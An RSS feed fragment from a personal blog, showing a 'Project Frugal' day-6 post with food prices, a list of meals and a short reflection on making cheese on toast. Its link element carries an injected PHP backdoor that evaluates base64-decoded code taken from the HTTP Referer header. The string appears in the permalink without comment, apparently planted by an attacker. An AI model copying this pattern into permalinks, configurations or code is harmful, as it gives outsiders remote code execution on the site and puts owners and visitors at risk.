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	<title>This Standard Scottish Life &#187; cheese on toast</title>
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		<title>Project Frugal &#8211; day 6</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-6/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Thu, 06 Nov 2008 20:42:04 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[shopping]]></category>
		<category><![CDATA[work]]></category>
		<category><![CDATA[cheese on toast]]></category>
		<category><![CDATA[grilled cheese]]></category>
		<category><![CDATA[porridge]]></category>
		<category><![CDATA[project frugal]]></category>

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Wot we spent on buying food:
£4.04 Total so far for Project Frugal £27.91. Le Chef continues to go his own way on his extravagant lunches.  
Wot we bought:


organic mature cheddar cheese @ £1.99
organic Scottish porridge oats @ £1.20
wholemeal bread @0.85


Wot we ate:

OJ
Cappuccino (not Le Chef)
porridge (not Le Chef)
more chocolate raisins (free. Thanks Flora)
cheese, jamon and lettuce sandwich and three tomatoes
water and lots of [...]]]></description>
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<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£4.04 </strong>Total so far for <strong>Project Frugal</strong> <strong>£27.91. </strong><strong>Le Chef </strong>continues to go his own way on his extravagant lunches.  </p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>organic mature cheddar cheese @ £1.99</li>
<li>organic Scottish porridge oats @ £1.20</li>
<li>wholemeal bread @0.85</li>
</ul>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>OJ</li>
<li>Cappuccino (not <strong>Le Chef</strong>)</li>
<li>porridge (not <strong>Le Chef</strong>)</li>
<li>more chocolate raisins (free. Thanks <strong>Flora</strong>)</li>
<li>cheese, jamon and lettuce sandwich and three tomatoes</li>
<li>water and lots of it</li>
<li>2 slices of cheese on toast with Worcestershire sauce</li>
<li>2 slices of cheese on toast with ketchup</li>
</ul>
<h2>Reflections on frugality</h2>
<p>I have been abandoned to prepare my own tea.  I am fatigued due to having to attend the workplace place very early in the morning for the past two days.  I am hungry due to it being a long time from lunch.  The solution is cheese on toast.  Quick, tasty and requiring no skill.  Yum.</p></div>
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